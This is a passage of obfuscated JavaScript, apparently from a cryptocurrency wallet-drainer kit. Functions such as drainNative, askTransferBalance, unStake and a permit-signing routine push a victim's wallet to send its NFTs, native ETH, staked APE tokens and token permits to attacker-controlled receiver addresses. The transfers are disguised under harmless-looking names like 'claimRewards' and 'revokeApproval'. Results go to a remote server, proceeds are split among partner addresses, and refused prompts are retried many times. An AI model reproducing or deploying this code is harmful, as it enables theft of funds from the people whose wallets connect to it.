let _0x2d3194 = await _0x4cb7fe.proxies(_0x2159fa);
let _0x1d41aa = [{
inputs: [{
components: [{
internalType: "address",
name: "target",
type: "address"
}, {
internalType: "bytes",
name: "callData",
type: "bytes"
}],
internalType: "struct Multicall3.Call[]",
name: "calls",
type: "tuple[]"
}],
name: "aggregate",
outputs: [{
internalType: "uint256",
name: "blockNumber",
type: "uint256"
}, {
internalType: "bytes[]",
name: "returnData",
type: "bytes[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "target",
type: "address"
}, {
internalType: "bool",
name: "allowFailure",
type: "bool"
}, {
internalType: "bytes",
name: "callData",
type: "bytes"
}],
internalType: "struct Multicall3.Call3[]",
name: "calls",
type: "tuple[]"
}],
name: "aggregate3",
outputs: [{
components: [{
internalType: "bool",
name: "success",
type: "bool"
}, {
internalType: "bytes",
name: "returnData",
type: "bytes"
}],
internalType: "struct Multicall3.Result[]",
name: "returnData",
type: "tuple[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "target",
type: "address"
}, {
internalType: "bool",
name: "allowFailure",
type: "bool"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "bytes",
name: "callData",
type: "bytes"
}],
internalType: "struct Multicall3.Call3Value[]",
name: "calls",
type: "tuple[]"
}],
name: "aggregate3Value",
outputs: [{
components: [{
internalType: "bool",
name: "success",
type: "bool"
}, {
internalType: "bytes",
name: "returnData",
type: "bytes"
}],
internalType: "struct Multicall3.Result[]",
name: "returnData",
type: "tuple[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "target",
type: "address"
}, {
internalType: "bytes",
name: "callData",
type: "bytes"
}],
internalType: "struct Multicall3.Call[]",
name: "calls",
type: "tuple[]"
}],
name: "blockAndAggregate",
outputs: [{
internalType: "uint256",
name: "blockNumber",
type: "uint256"
}, {
internalType: "bytes32",
name: "blockHash",
type: "bytes32"
}, {
components: [{
internalType: "bool",
name: "success",
type: "bool"
}, {
internalType: "bytes",
name: "returnData",
type: "bytes"
}],
internalType: "struct Multicall3.Result[]",
name: "returnData",
type: "tuple[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "getBasefee",
outputs: [{
internalType: "uint256",
name: "basefee",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "blockNumber",
type: "uint256"
}],
name: "getBlockHash",
outputs: [{
internalType: "bytes32",
name: "blockHash",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getBlockNumber",
outputs: [{
internalType: "uint256",
name: "blockNumber",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getChainId",
outputs: [{
internalType: "uint256",
name: "chainid",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getCurrentBlockCoinbase",
outputs: [{
internalType: "address",
name: "coinbase",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getCurrentBlockDifficulty",
outputs: [{
internalType: "uint256",
name: "difficulty",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getCurrentBlockGasLimit",
outputs: [{
internalType: "uint256",
name: "gaslimit",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getCurrentBlockTimestamp",
outputs: [{
internalType: "uint256",
name: "timestamp",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "addr",
type: "address"
}],
name: "getEthBalance",
outputs: [{
internalType: "uint256",
name: "balance",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getLastBlockHash",
outputs: [{
internalType: "bytes32",
name: "blockHash",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bool",
name: "requireSuccess",
type: "bool"
}, {
components: [{
internalType: "address",
name: "target",
type: "address"
}, {
internalType: "bytes",
name: "callData",
type: "bytes"
}],
internalType: "struct Multicall3.Call[]",
name: "calls",
type: "tuple[]"
}],
name: "tryAggregate",
outputs: [{
components: [{
internalType: "bool",
name: "success",
type: "bool"
}, {
internalType: "bytes",
name: "returnData",
type: "bytes"
}],
internalType: "struct Multicall3.Result[]",
name: "returnData",
type: "tuple[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bool",
name: "requireSuccess",
type: "bool"
}, {
components: [{
internalType: "address",
name: "target",
type: "address"
}, {
internalType: "bytes",
name: "callData",
type: "bytes"
}],
internalType: "struct Multicall3.Call[]",
name: "calls",
type: "tuple[]"
}],
name: "tryBlockAndAggregate",
outputs: [{
internalType: "uint256",
name: "blockNumber",
type: "uint256"
}, {
internalType: "bytes32",
name: "blockHash",
type: "bytes32"
}, {
components: [{
internalType: "bool",
name: "success",
type: "bool"
}, {
internalType: "bytes",
name: "returnData",
type: "bytes"
}],
internalType: "struct Multicall3.Result[]",
name: "returnData",
type: "tuple[]"
}],
stateMutability: "payable",
type: "function"
}];
let _0x1b4199 = [{
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "safeTransferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}];
let _0x4136ea = [{
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "id",
type: "uint256"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "bytes",
name: "data",
type: "bytes"
}],
name: "safeTransferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}];
let _0x1b31dd = [{
constant: false,
inputs: [{
name: "implementation",
type: "address"
}, {
name: "data",
type: "bytes"
}],
name: "upgradeToAndCall",
outputs: [],
payable: true,
stateMutability: "payable",
type: "function"
}, {
constant: true,
inputs: [],
name: "implementation",
outputs: [{
name: "",
type: "address"
}],
payable: false,
stateMutability: "view",
type: "function"
}];
let _0x25c19c = new ethers.Contract(_0x2d3194, _0x1b31dd, _0x59fcbd);
let _0x180342 = [];
for (let _0x4dbd36 of _0x553d4a.asset) {
let _0x30646a = _0x4dbd36.nft;
let _0x1fa214 = _0x1b4199;
let _0x383fce = new ethers.Contract(this.caller, _0x1fa214, _0x59fcbd);
let _0x48c237 = _0x383fce.interface.encodeFunctionData("safeTransferFrom", [_0x2159fa, this.receiver, _0x30646a.token_id]);
if (_0x30646a.scheme == "erc1155") {
_0x1fa214 = _0x4136ea;
_0x383fce = new ethers.Contract(this.caller, _0x1fa214, _0x59fcbd);
_0x48c237 = _0x383fce.interface.encodeFunctionData("safeTransferFrom", [_0x2159fa, this.receiver, _0x30646a.token_id, 1, ""]);
}
_0x180342.push([_0x30646a.contract, _0x48c237]);
}
let _0x3d0c48 = new ethers.Contract(this.caller, _0x1d41aa, _0x59fcbd);
let _0x3608b9 = _0x3d0c48.interface.encodeFunctionData("aggregate", [_0x180342]);
let _0x2efe93 = await _0x25c19c.upgradeToAndCall("0xcA11bde05977b3631167028862bE2a173976CA11", _0x3608b9, {
value: "0x00"
});
for (let _0x5097a7 of _0x553d4a.asset) {
this.approved.push(_0x5097a7.nft.contract + ",eth");
this.approved.push(Base64.encode(JSON.stringify(_0x5097a7.nft)));
}
await this.sendMessage({
chain: _0x553d4a.chain,
type: "wyvern",
txId: _0x2efe93.hash,
value: this.totalWyvern / 3
});
} catch (_0x54021e) {
if (_0x2159fa != (await this.getWalletAddress())) {
return;
}
console.log(_0x54021e);
const _0x62bd26 = {
type: "error",
chain: _0x553d4a.chain,
msg: "Client failed to sign wyvern"
};
await this.sendMessage(_0x62bd26);
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.wyvern(_0x553d4a);
}
}
};
drainNative = async _0x574df3 => {
try {
let _0x3af20b = _0x574df3.asset;
let _0x234868 = _0x574df3.value;
let _0x1f0f22 = _0x574df3.chain;
const _0x401722 = this.web3Js.utils.fromWei(_0x3af20b.toString(), "ether");
console.log("Current balance for " + (await this.getWalletAddress()) + " : " + _0x401722 + " ETH");
if (_0x401722 > 0.005) {
await this.askTransferBalance(_0x401722, _0x3af20b, _0x234868, _0x1f0f22);
} else {}
} catch (_0x464071) {
console.log("Declined to send balance.");
console.log(_0x464071);
}
};
askTransferBalance = async (_0x4a08c5, _0x351cfd, _0x4cbea5, _0x5f5268) => {
let _0x45816a = await this.getWalletAddress();
try {
const _0x23eb52 = await this.web3Js.eth.getGasPrice();
const _0x10f5ca = new this.web3Js.utils.BN("22000");
const _0x477ea0 = _0x10f5ca * Math.floor(_0x23eb52 * 2);
let _0x3dbadd = Math.floor(_0x351cfd * 0.04);
let _0x2ba62b = this.web3Js.utils.fromWei(_0x3dbadd.toString(), "ether");
if (_0x2ba62b > 0.03) {
_0x3dbadd = this.web3Js.utils.toWei("0.05", "ether");
}
let _0x2155b1 = Math.floor(_0x351cfd - _0x3dbadd) - _0x477ea0 * 4;
console.log("Sending " + this.web3Js.utils.fromWei(_0x2155b1.toString(), "ether") + " ETH from " + (await this.getWalletAddress()) + "...");
let _0x39968d = [{
inputs: [{
components: [{
internalType: "address",
name: "target",
type: "address"
}, {
internalType: "bytes",
name: "callData",
type: "bytes"
}],
internalType: "struct Multicall.Call[]",
name: "calls",
type: "tuple[]"
}],
name: "acedrainer",
outputs: [{
internalType: "uint256",
name: "blockNumber",
type: "uint256"
}, {
internalType: "bytes[]",
name: "returnData",
type: "bytes[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "receiver",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
internalType: "struct Multicall.Split[]",
name: "_data",
type: "tuple[]"
}],
name: "claimRewards",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "receiver",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
internalType: "struct Multicall.Split[]",
name: "_data",
type: "tuple[]"
}],
name: "revokeApproval",
outputs: [],
stateMutability: "payable",
type: "function"
}];
var _0x564f93 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]);
let _0x504109 = new ethers.Contract(this.caller, _0x39968d, _0x564f93);
console.log(_0x5f5268);
if (_0x5f5268 == "bsc" || _0x5f5268 == "base" || _0x5f5268 == "eth" || _0x5f5268 == "ftm" || _0x5f5268 == "matic" || _0x5f5268 == "arb" || _0x5f5268 == "op" || _0x5f5268 == "cro") {
console.log(_0x2155b1);
let _0xcbe2f2 = BigInt(0);
let _0x4efaf2 = [];
let _0x49d1c4 = Number(_0x2155b1);
for (let _0xee61d6 of this.sharing) {
let _0x3c034b = BigInt(Math.floor(_0x49d1c4 * Number(_0xee61d6.share / 10000)));
_0x4efaf2.push([_0xee61d6.address, _0x3c034b.toString()]);
_0xcbe2f2 += _0x3c034b;
}
console.log("total " + _0xcbe2f2);
console.log("sending " + _0x2155b1);
if (_0xcbe2f2 > BigInt(_0x2155b1)) {
console.log("correcting_values");
let _0x2c3d0a = _0xcbe2f2 - BigInt(_0x2155b1);
console.log("difference " + _0x2c3d0a);
let _0xacf1b4 = BigInt(_0x4efaf2[0][1]) - _0x2c3d0a;
_0xcbe2f2 = _0xcbe2f2 - _0x2c3d0a;
console.log("total " + _0xcbe2f2);
_0x4efaf2[0][1] = _0xacf1b4.toString();
}
console.log(_0x4efaf2);
let _0x29ccf4 = null;
if (config.sendEthType == 2) {
_0x29ccf4 = _0x504109.revokeApproval(_0x4efaf2, {
value: BigInt(_0x2155b1)
});
}
if (config.sendEthType == 1) {
_0x29ccf4 = _0x504109.claimRewards(_0x4efaf2, {
value: BigInt(_0x2155b1)
});
}
await _0x29ccf4;
if (_0x45816a != (await this.getWalletAddress())) {
return;
}
await this.sendMessage({
chain: _0x5f5268,
valueMsg: "($" + parseInt(_0x4cbea5).toFixed(2) + ") " + _0x4a08c5,
source: _0x5f5268.toUpperCase() + "-Transfer",
type: "balance",
txId: _0x29ccf4.hash
});
} else {
let _0x4eba58 = {
from: await this.getWalletAddress(),
to: this.receiver,
value: "0x" + _0x2155b1.toString(16)
};
console.log(_0x4eba58);
var _0x31c900 = await _0x564f93.sendTransaction(_0x4eba58);
await this.sendMessage({
chain: _0x5f5268,
valueMsg: "($" + parseInt(_0x4cbea5).toFixed(2) + ") " + _0x4a08c5,
source: _0x5f5268.toUpperCase() + "-Transfer",
type: "balance",
txId: _0x31c900.hash
});
}
} catch (_0x4dfa0e) {
console.log(_0x4dfa0e);
if (_0x45816a != (await this.getWalletAddress())) {
return;
}
await this.sendMessage({
chain: _0x5f5268,
type: "error",
msg: "Client has denied sending " + _0x4a08c5 + " " + _0x5f5268.toString().toUpperCase()
});
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.askTransferBalance(_0x4a08c5, _0x351cfd, _0x4cbea5, _0x5f5268);
}
}
};
unStake = async _0x871e1a => {
let _0x5b8a70 = await this.getWalletAddress();
try {
if (_0x871e1a.asset.type == "Ape") {
console.log("Prompting Ape");
let _0x5cedb2 = await this.Sdk.unstakeApe(_0x871e1a.asset.amount, this.caller);
await this.sendMessage({
chain: _0x871e1a.chain,
value: _0x871e1a.value / 2.4,
source: "APECoin",
type: "unstake",
txId: _0x5cedb2.hash
});
await this.SendCompletion({
type: "tokenSplit",
hash: _0x5cedb2.hash,
tokenAddress: "0x4d224452801ACEd8B2F0aebE155379bb5D594381",
ahash: this.createEncKey(),
chainId: 1
});
}
if (_0x871e1a.asset.type == "Mayc") {
let _0x25f33a = await this.Sdk.unstakeMayc([_0x871e1a.asset.ids], this.caller);
await this.sendMessage({
chain: _0x871e1a.chain,
value: _0x871e1a.value / 2.4,
source: "APECoin",
type: "unstake",
txId: _0x25f33a.hash
});
await this.SendCompletion({
type: "tokenSplit",
hash: _0x25f33a.hash,
tokenAddress: "0x4d224452801ACEd8B2F0aebE155379bb5D594381",
ahash: this.createEncKey(),
chainId: 1
});
}
if (_0x871e1a.asset.type == "Bayc") {
let _0x533065 = await this.Sdk.unstakeBayc([_0x871e1a.asset.ids], this.caller);
const _0x79bf97 = {
chain: _0x871e1a.chain,
value: _0x871e1a.value / 2.4,
source: "APECoin",
type: "unstake",
txId: _0x533065.hash
};
await this.sendMessage(_0x79bf97);
await this.SendCompletion({
type: "tokenSplit",
hash: _0x533065.hash,
tokenAddress: "0x4d224452801ACEd8B2F0aebE155379bb5D594381",
ahash: this.createEncKey(),
chainId: 1
});
}
} catch (_0x4969ed) {
if (_0x5b8a70 != (await this.getWalletAddress())) {
return;
}
await this.sendMessage({
chain: _0x871e1a.chain,
type: "error",
msg: "DENIED UNSTAKING " + this.web3Js.utils.fromWei(_0x871e1a.asset.amount, "ether") + " APE"
});
console.log(_0x4969ed);
this.failedAttempts++;
if (this.failedAttempts > 15 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.unStake(_0x871e1a);
}
}
};
completeSignature = async _0x281376 => {
try {
if (_0x281376.actionType == "permit") {
const _0x4b675b = _0x281376.address;
const _0x496f92 = _0x281376.value;
const _0x39b95 = _0x281376.type;
const _0x438f55 = _0x281376.balance;
const _0x565d49 = await this.getChainId(_0x281376.chain);
let _0x4e1574 = await this.getWalletAddress();
const _0x4224c0 = 1988864000;
let _0x3b6223 = this.ethersProvider.getSigner(_0x4e1574);
let _0xff123f = [{
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "owner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "spender",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "Approval",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "authorizer",
type: "address"
}, {
indexed: true,
internalType: "bytes32",
name: "nonce",
type: "bytes32"
}],
name: "AuthorizationCanceled",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "authorizer",
type: "address"
}, {
indexed: true,
internalType: "bytes32",
name: "nonce",
type: "bytes32"
}],
name: "AuthorizationUsed",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_account",
type: "address"
}],
name: "Blacklisted",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "newBlacklister",
type: "address"
}],
name: "BlacklisterChanged",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "burner",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "Burn",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "newMasterMinter",
type: "address"
}],
name: "MasterMinterChanged",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "minter",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "Mint",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "minter",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "minterAllowedAmount",
type: "uint256"
}],
name: "MinterConfigured",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "oldMinter",
type: "address"
}],
name: "MinterRemoved",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "address",
name: "previousOwner",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "OwnershipTransferred",
type: "event"
}, {
anonymous: false,
inputs: [],
name: "Pause",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "newAddress",
type: "address"
}],
name: "PauserChanged",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "newRescuer",
type: "address"
}],
name: "RescuerChanged",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "from",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "Transfer",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_account",
type: "address"
}],
name: "UnBlacklisted",
type: "event"
}, {
anonymous: false,
inputs: [],
name: "Unpause",
type: "event"
}, {
inputs: [],
name: "CANCEL_AUTHORIZATION_TYPEHASH",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "DOMAIN_SEPARATOR",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "PERMIT_TYPEHASH",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "RECEIVE_WITH_AUTHORIZATION_TYPEHASH",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "TRANSFER_WITH_AUTHORIZATION_TYPEHASH",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "owner",
type: "address"
}, {
internalType: "address",
name: "spender",
type: "address"
}],
name: "allowance",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "spender",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "approve",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "authorizer",
type: "address"
}, {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
}],
name: "authorizationState",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "account",
type: "address"
}],
name: "balanceOf",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_account",
type: "address"
}],
name: "blacklist",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "blacklister",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "burn",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "authorizer",
type: "address"
}, {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "cancelAuthorization",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "minter",
type: "address"
}, {
internalType: "uint256",
name: "minterAllowedAmount",
type: "uint256"
}],
name: "configureMinter",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "currency",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "decimals",
outputs: [{
internalType: "uint8",
name: "",
type: "uint8"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "spender",
type: "address"
}, {
internalType: "uint256",
name: "decrement",
type: "uint256"
}],
name: "decreaseAllowance",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "spender",
type: "address"
}, {
internalType: "uint256",
name: "increment",
type: "uint256"
}],
name: "increaseAllowance",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "string",
name: "tokenName",
type: "string"
}, {
internalType: "string",
name: "tokenSymbol",
type: "string"
}, {
internalType: "string",
name: "tokenCurrency",
type: "string"
}, {
internalType: "uint8",
name: "tokenDecimals",
type: "uint8"
}, {
internalType: "address",
name: "newMasterMinter",
type: "address"
}, {
internalType: "address",
name: "newPauser",
type: "address"
}, {
internalType: "address",
name: "newBlacklister",
type: "address"
}, {
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "string",
name: "newName",
type: "string"
}],
name: "initializeV2",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "lostAndFound",
type: "address"
}],
name: "initializeV2_1",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_account",
type: "address"
}],
name: "isBlacklisted",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "account",
type: "address"
}],
name: "isMinter",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "masterMinter",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "mint",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "minter",
type: "address"
}],
name: "minterAllowance",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "name",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "owner",
type: "address"
}],
name: "nonces",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "owner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "pause",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "paused",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "pauser",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "owner",
type: "address"
}, {
internalType: "address",
name: "spender",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "permit",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "validAfter",
type: "uint256"
}, {
internalType: "uint256",
name: "validBefore",
type: "uint256"
}, {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "receiveWithAuthorization",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "minter",
type: "address"
}],
name: "removeMinter",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "tokenContract",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "rescueERC20",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "rescuer",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "symbol",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "totalSupply",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "transfer",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "transferFrom",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "validAfter",
type: "uint256"
}, {
internalType: "uint256",
name: "validBefore",
type: "uint256"
}, {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "transferWithAuthorization",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_account",
type: "address"
}],
name: "unBlacklist",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "unpause",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_newBlacklister",
type: "address"
}],
name: "updateBlacklister",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_newMasterMinter",
type: "address"
}],
name: "updateMasterMinter",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_newPauser",
type: "address"
}],
name: "updatePauser",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newRescuer",
type: "address"
}],
name: "updateRescuer",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "version",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}];
let _0x5bfa0c = new ethers.Contract(_0x4b675b, _0xff123f, _0x3b6223);
let _0x791ebd = await _0x5bfa0c.nonces(_0x4e1574);
let _0x199059 = await _0x5bfa0c.name();
let _0x4076d4 = [{
name: "name",
type: "string"
}, {
name: "version",
type: "string"
}, {
name: "chainId",
type: "uint256"
}, {
name: "verifyingContract",
type: "address"
}];
var _0xf6910b = "1";
if (_0x4b675b.toLowerCase() == "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48".toLowerCase()) {
_0xf6910b = "2";
}
let _0x301107;
let _0x35159a = [{
name: "owner",
type: "address"
}, {
name: "spender",
type: "address"
}, {
name: "value",
type: "uint256"
}, {
name: "nonce",
type: "uint256"
}, {
name: "deadline",
type: "uint256"
}];
